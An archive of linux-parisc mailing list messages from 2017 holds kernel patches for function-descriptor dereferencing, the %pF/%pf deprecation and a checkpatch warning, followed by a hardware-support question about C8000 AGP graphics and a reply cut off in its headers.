X-Gm-Message-State: AHPjjUjFmf+5CU1ilYud/Cl0Kzn92XCltJq7BHdbiHhNoXGnRB3WXCNU
        n3jYXq8+P+1XlAWr5v+YEjA=
X-Google-Smtp-Source: AOwi7QAKYhhyqerjzfMzG4oJmo5Qn2gsppG2ikuFZTDkBOEu0zcLl5T7QF2+hldJwAt1dQPraELeFQ==
X-Received: by 10.98.155.87 with SMTP id r84mr9445613pfd.66.1506740075446;
        Fri, 29 Sep 2017 19:54:35 -0700 (PDT)
Original-Received: from localhost.localdomain ([175.223.27.84])
        by smtp.gmail.com with ESMTPSA id b1sm8680714pgn.94.2017.09.29.19.54.26
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 29 Sep 2017 19:54:34 -0700 (PDT)
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2581052 gmane.linux.ports.ia64:28182 gmane.linux.ports.parisc:27876 gmane.linux.ports.ppc64.devel:148427
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2581052>

We are moving towards separate kernel and module function descriptor
dereference callbacks. This patch enables it for parisc64.

For pointers that belong to the kernel
-  Added __start_opd and __end_opd pointers, to track the kernel
   .opd section address range;

-  Added dereference_kernel_function_descriptor(). Now we
   will dereference only function pointers that are within
   [__start_opd, __end_opd];

For pointers that belong to a module
-  Added dereference_module_function_descriptor() to handle module
   function descriptor dereference. Now we will dereference only
   pointers that are within [module->opd.start, module->opd.end].

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Signed-off-by: Helge Deller <deller@gmx.de>
Tested-by: Helge Deller <deller@gmx.de> # parisc64
Tested-by: Santosh Sivaraj <santosh@fossix.org> # powerpc64
Acked-by: Michael Ellerman <mpe@ellerman.id.au> # powerpc64
Tested-by: Tony Luck <tony.luck@intel.com> # ia64
---
 arch/parisc/boot/compressed/vmlinux.lds.S |  2 ++
 arch/parisc/include/asm/sections.h        |  2 ++
 arch/parisc/kernel/module.c               | 17 +++++++++++++++++
 arch/parisc/kernel/process.c              |  9 +++++++++
 arch/parisc/kernel/vmlinux.lds.S          |  2 ++
 5 files changed, 32 insertions(+)

diff --git a/arch/parisc/boot/compressed/vmlinux.lds.S b/arch/parisc/boot/compressed/vmlinux.lds.S
index a4ce3314e78e..4ebd4e65524c 100644
--- a/arch/parisc/boot/compressed/vmlinux.lds.S
+++ b/arch/parisc/boot/compressed/vmlinux.lds.S
@@ -29,7 +29,9 @@ SECTIONS
 	. = ALIGN(16);
 	/* Linkage tables */
 	.opd : {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	} PROVIDE (__gp = .);
 	.plt : {
 		*(.plt)
diff --git a/arch/parisc/include/asm/sections.h b/arch/parisc/include/asm/sections.h
index 59fbe0067112..845ddc9a3421 100644
--- a/arch/parisc/include/asm/sections.h
+++ b/arch/parisc/include/asm/sections.h
@@ -7,6 +7,8 @@
 #ifdef CONFIG_64BIT
 #undef dereference_function_descriptor
 unsigned long dereference_function_descriptor(unsigned long);
+#undef dereference_kernel_function_descriptor
+unsigned long dereference_kernel_function_descriptor(unsigned long);
 #endif
 
 #endif
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index f1a76935a314..28f89b3dcc11 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -66,6 +66,7 @@
 
 #include <asm/pgtable.h>
 #include <asm/unwind.h>
+#include <asm/sections.h>
 
 #if 0
 #define DEBUGP printk
@@ -954,3 +955,19 @@ void module_arch_cleanup(struct module *mod)
 {
 	deregister_unwind_table(mod);
 }
+
+#ifdef CONFIG_64BIT
+unsigned long dereference_module_function_descriptor(struct module *mod,
+						     unsigned long addr)
+{
+	unsigned long start_opd = (Elf64_Addr)mod->core_layout.base +
+				   mod->arch.fdesc_offset;
+	unsigned long end_opd = start_opd +
+				mod->arch.fdesc_count * sizeof(Elf64_Fdesc);
+
+	if (addr < start_opd || addr >= end_opd)
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
+#endif
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d350aa913acc..423bbfe90e2b 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -276,6 +276,15 @@ unsigned long dereference_function_descriptor(unsigned long ptr)
 		ptr = (unsigned long)p;
 	return ptr;
 }
+
+unsigned long dereference_kernel_function_descriptor(unsigned long addr)
+{
+	if (addr < (unsigned long)__start_opd ||
+			addr >= (unsigned long)__end_opd)
+		return addr;
+
+	return dereference_function_descriptor(addr);
+}
 #endif
 
 static inline unsigned long brk_rnd(void)
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index ffe2cbf52d1a..ab030895dd1e 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -99,7 +99,9 @@ SECTIONS
 	. = ALIGN(16);
 	/* Linkage tables */
 	.opd : {
+		__start_opd = .;
 		*(.opd)
+		__end_opd = .;
 	} PROVIDE (__gp = .);
 	.plt : {
 		*(.plt)
-- 
2.14.2



From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCHv3 6/7] symbol lookup: use new kernel and module dereference functions
Date: Sat, 30 Sep 2017 11:53:18 +0900
Lines: 129
Approved: news@gmane.org
Message-ID: <20170930025319.987-7-sergey.senozhatsky@gmail.com>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1506740087 4106 195.159.176.226 (30 Sep 2017 02:54:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Sep 2017 02:54:47 +0000 (UTC)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
To: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 30 04:54:42 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dy7vL-0008LO-OO
	for glpp-linux-parisc@m.gmane.org; Sat, 30 Sep 2017 04:54:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752649AbdI3Cyr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 29 Sep 2017 22:54:47 -0400
Original-Received: from mail-pg0-f68.google.com ([74.125.83.68]:33531 "EHLO
        mail-pg0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752822AbdI3Cyo (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 29 Sep 2017 22:54:44 -0400
Original-Received: by mail-pg0-f68.google.com with SMTP id u136so890381pgc.0;
        Fri, 29 Sep 2017 19:54:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=qob96aV46LLoRgzym0jIgBK2NUii0pMQJKTizP9ojOs=;
        b=T97nKbiZA50CLzr8iibKw19nEFAzlLgCk4xZgSuGYOvunfylQ7d3CluWVd84WYf+gW
         rj4ULbDqhBQK8qDGwx8JVco2U0AO+DW/so6uoA63rSrT1T9+zMJDZ/6dbyC8SXualRwN
         iprP6lfJlAgJKq2wMpxH6puwBifni0vNUrfsOiGvxa/Y65YiDwu+CwLNskp4jNiqqWXb
         teB0uqmLit7t1CKbhp29rYcO9zkXtRCtzt2McHyLL+Xfj9OHStEGwqZLmsEBz6/RtTxL
         H+aGErUgf+vnTNw1kjBfR+Ss9Dmx7DUGffg5fnM83l4ks06rFZsBQM7/MjWP1Aa59Ie2
         rKuw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=qob96aV46LLoRgzym0jIgBK2NUii0pMQJKTizP9ojOs=;
        b=PLzUJ7Hw1O77cjnGFgfDNVJt0BWy3naCYJYu23wAIAYgiaIU9VQIJohNwwnGxK0xSZ
         P4tzG+iL9DiQiip3GcfUwJVVqMKNv5aMfD6zyjxjP4Idzlw8AwKDjvzwrRvq0osyBpo6
         1BhhXYBGy/wJwksNBnpp5J9a4qde5ft2RNMK1oVhXgwbAbsL9gp3aSe6ord+BMpD8Lt0
         ZmUkp0qMcRmnwQxavdlJdT0VxvFklYDvtx5TU9FSCa7BNa5hT7rica/ba2NqWa71P5T7
         QHOxq5mj/E4lIx38aXAygt1t5hcrqW7lZoCrScKL26ay3B0TMC7sJ9D9LsyF9bAJ68oq
         DUsg==
X-Gm-Message-State: AHPjjUgVJ3DzPWRvdt6k41lQwHYAnAbIMvuJhlL3SXikzucES4OF3Rgm
        mvpZ5f7MOZC9OdcKsujE+lk=
X-Google-Smtp-Source: AOwi7QBlKBaBBq/oab7sWOB3P+OWJeY5C3vRGkXReU7iGG1PlCRAJv42gW0bfDxGGWNWjfRhfnKA5g==
X-Received: by 10.101.74.133 with SMTP id b5mr7431716pgu.100.1506740083575;
        Fri, 29 Sep 2017 19:54:43 -0700 (PDT)
Original-Received: from localhost.localdomain ([175.223.27.84])
        by smtp.gmail.com with ESMTPSA id b1sm8680714pgn.94.2017.09.29.19.54.37
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 29 Sep 2017 19:54:43 -0700 (PDT)
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27877 gmane.linux.ports.ia64:28183 gmane.linux.ports.ppc64.devel:148428 gmane.linux.kernel:2581053
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27877>

Call appropriate function descriptor dereference ARCH callbacks:
- dereference_kernel_function_descriptor() if the pointer is a
  kernel symbol;

- dereference_module_function_descriptor() if the pointer is a
  module symbol.

This patch also removes dereference_function_descriptor() from
'%pF/%pf' vsprintf handler, because it has the same behavior with
'%pS/%ps' now.

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Tested-by: Helge Deller <deller@gmx.de> # parisc64
Tested-by: Santosh Sivaraj <santosh@fossix.org> # powerpc64
Acked-by: Michael Ellerman <mpe@ellerman.id.au> # powerpc64
Tested-by: Tony Luck <tony.luck@intel.com> # ia64
---
 Documentation/printk-formats.txt | 20 ++++++++++----------
 kernel/kallsyms.c                |  1 +
 kernel/module.c                  |  1 +
 lib/vsprintf.c                   |  5 +----
 4 files changed, 13 insertions(+), 14 deletions(-)

diff --git a/Documentation/printk-formats.txt b/Documentation/printk-formats.txt
index 361789df51ec..3adbc4fdd482 100644
--- a/Documentation/printk-formats.txt
+++ b/Documentation/printk-formats.txt
@@ -50,26 +50,28 @@ Symbols/Function Pointers
 
 ::
 
+	%pS	versatile_init+0x0/0x110
+	%ps	versatile_init
 	%pF	versatile_init+0x0/0x110
 	%pf	versatile_init
-	%pS	versatile_init+0x0/0x110
 	%pSR	versatile_init+0x9/0x110
 		(with __builtin_extract_return_addr() translation)
-	%ps	versatile_init
 	%pB	prev_fn_of_versatile_init+0x88/0x88
 
-The ``F`` and ``f`` specifiers are for printing function pointers,
-for example, f->func, &gettimeofday. They have the same result as
-``S`` and ``s`` specifiers. But they do an extra conversion on
-ia64, ppc64 and parisc64 architectures where the function pointers
-are actually function descriptors.
-
 The ``S`` and ``s`` specifiers can be used for printing symbols
 from direct addresses, for example, __builtin_return_address(0),
 (void *)regs->ip. They result in the symbol name with (``S``) or
 without (``s``) offsets. If KALLSYMS are disabled then the symbol
 address is printed instead.
 
+Note, that the ``F`` and ``f`` specifiers are identical to ``S`` (``s``)
+and thus deprecated. We have ``F`` and ``f`` because on ia64, ppc64 and
+parisc64 function pointers are indirect and, in fact, are function
+descriptors, which require additional dereferencing before we can lookup
+the symbol. As of now, ``S`` and ``s`` perform dereferencing on those
+platforms (when needed), so ``F`` and ``f`` exist for compatibility
+reasons only.
+
 The ``B`` specifier results in the symbol name with offsets and should be
 used when printing stack backtraces. The specifier takes into
 consideration the effect of compiler optimisations which may occur
@@ -77,8 +79,6 @@ when tail-call``s are used and marked with the noreturn GCC attribute.
 
 Examples::
 
-	printk("Going to call: %pF\n", gettimeofday);
-	printk("Going to call: %pF\n", p->func);
 	printk("%s: called from %pS\n", __func__, (void *)_RET_IP_);
 	printk("%s: called from %pS\n", __func__,
 				(void *)__builtin_return_address(0));
diff --git a/kernel/kallsyms.c b/kernel/kallsyms.c
index 127e7cfafa55..e2fc09ea9509 100644
--- a/kernel/kallsyms.c
+++ b/kernel/kallsyms.c
@@ -322,6 +322,7 @@ const char *kallsyms_lookup(unsigned long addr,
 	if (is_ksym_addr(addr)) {
 		unsigned long pos;
 
+		addr = dereference_kernel_function_descriptor(addr);
 		pos = get_symbol_pos(addr, symbolsize, offset);
 		/* Grab name */
 		kallsyms_expand_symbol(get_symbol_offset(pos),
diff --git a/kernel/module.c b/kernel/module.c
index b792e814150a..63361de377ad 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -3948,6 +3948,7 @@ const char *module_address_lookup(unsigned long addr,
 	preempt_disable();
 	mod = __module_address(addr);
 	if (mod) {
+		addr = dereference_module_function_descriptor(mod, addr);
 		if (modname)
 			*modname = mod->name;
 		ret = get_ksymbol(mod, addr, size, offset);
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index bcd906a39010..bf04b4f5d8e7 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -40,7 +40,6 @@
 #include "../mm/internal.h"	/* For the trace_print_flags arrays */
 
 #include <asm/page.h>		/* for PAGE_SIZE */
-#include <asm/sections.h>	/* for dereference_function_descriptor() */
 #include <asm/byteorder.h>	/* cpu_to_le16 */
 
 #include <linux/string_helpers.h>
@@ -1721,10 +1720,8 @@ char *pointer(const char *fmt, char *buf, char *end, void *ptr,
 	}
 
 	switch (*fmt) {
-	case 'F':
+	case 'F': /* %pF and %pf are kept for compatibility reasons only */
 	case 'f':
-		ptr = (void *)dereference_function_descriptor((unsigned long)ptr);
-		/* Fallthrough */
 	case 'S':
 	case 's':
 	case 'B':
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: [PATCHv3 7/7] checkpatch: add pF/pf deprecation warning
Date: Sat, 30 Sep 2017 11:53:19 +0900
Lines: 59
Approved: news@gmane.org
Message-ID: <20170930025319.987-8-sergey.senozhatsky@gmail.com>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1506740101 7986 195.159.176.226 (30 Sep 2017 02:55:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Sep 2017 02:55:01 +0000 (UTC)
Cc: Tony Luck <tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org,
        Sergey Senozhatsky <sergey.senozhatsky@gmail.com>,
        Joe Perches <joe@perches.com>,
        Andy Whitcroft <apw@canonical.com>
To: Petr Mladek <pmladek@suse.com>,
        Steven Rostedt <rostedt@goodmis.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 30 04:54:55 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dy7vY-0000Yq-3L
	for glpp-linux-parisc@m.gmane.org; Sat, 30 Sep 2017 04:54:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752840AbdI3Cy7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 29 Sep 2017 22:54:59 -0400
Original-Received: from mail-pg0-f65.google.com ([74.125.83.65]:34431 "EHLO
        mail-pg0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752822AbdI3Cy6 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 29 Sep 2017 22:54:58 -0400
Original-Received: by mail-pg0-f65.google.com with SMTP id u27so732796pgn.1;
        Fri, 29 Sep 2017 19:54:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=hGJkn+UUWUIo4YYizc+EGmKwkqSk/TeUzyhiuzX2NP0=;
        b=U6oIE88OUNVk/UrfxhDYMFxDRTDhy3La0y6srR8jt6mkc+/TIs7YxSwBWPjHyk9sBv
         SPBZYQqv/NhZUzh7YNj0c/WY3aLX7/QQtqLcUbJ1+yM4GxPjVrHbabUX0UgLNXFVve7x
         210Rl3jLv4Xs/Zxsyz5QO6Erc4SZWpuj17oPURUe7NI1zm5zkhQ8r2AXZaJmf7yKbYX4
         8iSuoY1xvwWmMXvpCdHYa7X0BjelXaAgQrXpo0/w4obvxa64brEpYcX/DVMScNADSFAW
         AneMkgnxWiOc5fbKzgdeS5LkS+QpVw4fKCVBeBYu483GaywUzS7ZpYsYJS1oYMi1d/qo
         19vA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=hGJkn+UUWUIo4YYizc+EGmKwkqSk/TeUzyhiuzX2NP0=;
        b=OIQnJRVmHW3PwmS3f0jg2k1VDFGUrR6ZSOBZHVIcqrxTVlk364Uos3JvBjCjwcRfE1
         os049YnKiyDz/wSjEjZ8EgjBV3ov+Sj78qavdqYIs7MCquiNlBVMSRV/dnl4oeK0f1k9
         pEyw3WhHnZN1IAHqu02ZTmfjTynjlJbRlJND8o+NTek/DqJLaTNpcmstQ4z405s73YBb
         jASX2/Pz6TYQjzkPgv4tW+5C0RkTDG8FAXJbKrl0K9EVXE8RrURRuwGoMiooENo47UDr
         1Hcfk1VCQ896DM9ZjBkP19n08zOgUcDWlr6c3c5RAZ192NxuJQBm46cOW8SM2r/SKCTx
         pESA==
X-Gm-Message-State: AMCzsaUJ53nRv+AbBqXtf/XtmxwlY1L+Ca7JRXH/x4tnpZwpCRxBsvy5
        OMCun65YkY8rIg0NIDEg0wg=
X-Google-Smtp-Source: AOwi7QB9lEUlw+yANAsofv9GfVy4UblzWJf9S5T7ssQH33WpWDFq2GLq0f69jABZQi8MqCNfRyhSXg==
X-Received: by 10.84.176.163 with SMTP id v32mr1097671plb.428.1506740097504;
        Fri, 29 Sep 2017 19:54:57 -0700 (PDT)
Original-Received: from localhost.localdomain ([175.223.27.84])
        by smtp.gmail.com with ESMTPSA id b1sm8680714pgn.94.2017.09.29.19.54.49
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 29 Sep 2017 19:54:56 -0700 (PDT)
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27878 gmane.linux.ports.ia64:28184 gmane.linux.ports.ppc64.devel:148429 gmane.linux.kernel:2581054
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27878>

We deprecated '%pF/%pf' printk specifiers, since '%pS/%ps' is now smart
enough to handle function pointer dereference on platforms where such
dereference is required.

checkpatch warning example:

WARNING: Deprecated vsprintf pointer extension '%pF' - use %pS instead

Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Signed-off-by: Joe Perches <joe@perches.com>
Cc: Andy Whitcroft <apw@canonical.com>
Tested-by: Helge Deller <deller@gmx.de> # parisc64
Tested-by: Santosh Sivaraj <santosh@fossix.org> # powerpc64
Acked-by: Michael Ellerman <mpe@ellerman.id.au> # powerpc64
Tested-by: Tony Luck <tony.luck@intel.com> # ia64
---
 scripts/checkpatch.pl | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/scripts/checkpatch.pl b/scripts/checkpatch.pl
index 03eb2551477d..387c453413e0 100755
--- a/scripts/checkpatch.pl
+++ b/scripts/checkpatch.pl
@@ -5762,18 +5762,25 @@ sub process {
 		        for (my $count = $linenr; $count <= $lc; $count++) {
 				my $fmt = get_quoted_string($lines[$count - 1], raw_line($count, 0));
 				$fmt =~ s/%%//g;
-				if ($fmt =~ /(\%[\*\d\.]*p(?![\WFfSsBKRraEhMmIiUDdgVCbGNO]).)/) {
+				if ($fmt =~ /(\%[\*\d\.]*p(?![\WSsBKRraEhMmIiUDdgVCbGNO]).)/) {
 					$bad_extension = $1;
 					last;
 				}
 			}
 			if ($bad_extension ne "") {
 				my $stat_real = raw_line($linenr, 0);
+				my $ext_type = "Invalid";
+				my $use = "";
 				for (my $count = $linenr + 1; $count <= $lc; $count++) {
 					$stat_real = $stat_real . "\n" . raw_line($count, 0);
 				}
+				if ($bad_extension =~ /p[Ff]/) {
+					$ext_type = "Deprecated";
+					$use = " - use %pS instead";
+					$use =~ s/pS/ps/ if ($bad_extension =~ /pf/);
+				}
 				WARN("VSPRINTF_POINTER_EXTENSION",
-				     "Invalid vsprintf pointer extension '$bad_extension'\n" . "$here\n$stat_real\n");
+				     "$ext_type vsprintf pointer extension '$bad_extension'$use\n" . "$here\n$stat_real\n");
 			}
 		}
 
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: HP-UX for C8000
Date: Sat, 30 Sep 2017 17:25:06 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20170930152506.GA10542@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506790810 9435 195.159.176.226 (30 Sep 2017 17:00:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Sep 2017 17:00:10 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 30 19:00:02 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dyL7R-0007iw-Cq
	for glpp-linux-parisc@m.gmane.org; Sat, 30 Sep 2017 19:00:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751141AbdI3RAJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 30 Sep 2017 13:00:09 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:58637 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751069AbdI3RAI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 30 Sep 2017 13:00:08 -0400
X-Greylist: delayed 5694 seconds by postgrey-1.27 at vger.kernel.org; Sat, 30 Sep 2017 13:00:08 EDT
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1dyJdm-00047w-00
        for linux-parisc@vger.kernel.org; Sat, 30 Sep 2017 17:25:18 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id C036A508B6C; Sat, 30 Sep 2017 17:25:06 +0200 (CEST)
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27879
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27879>

Hi,

while makeing progress on getting better graphic support for C8000
machines, I'm at a point I need some help...

Current status:

- PCI Radeon card is passing the DMA tests (using test hack)
- fixed three bugs in parisc-agp.c (wrong byte order for iommu entries,
  missing coherence information in iommu entries and missing fdc for
  ioemmu entries)
- AGP card are still not working, looks like they don't even start a DMA
  transfer at all

I'm stuck at this point as there is no documentation for quicksilver
agp available. The zx1-ioa document only covers mercury agp bridges
(used and working in ZX2000/ZX6000), but quicksilver is different
and I couldn't find the missing bit(s), yet. I now have two ideas
to make progess. I'm going to measure, if a REQ signal is issued on
the AGP bus and also look if the bridge responds with GNT. The second
idea involves HP-UX. I want to look what HP-UX does with quicksilver.

Does anyone have a C8000 with a running HP-UX on it and can help
getting a register dump of quicksilver ? Otherwise what HP-UX should
I try to get for a C8000 ?

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Sat, 30 Sep 2017 13:34:35 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net>
References: <20170930152506.GA10542@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1506792880 20612 195.159.176.226 (30 Sep 2017 17:34:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 30 Sep 2017 17:34:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 30 19:34:30 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dyLen-0007r1-SC
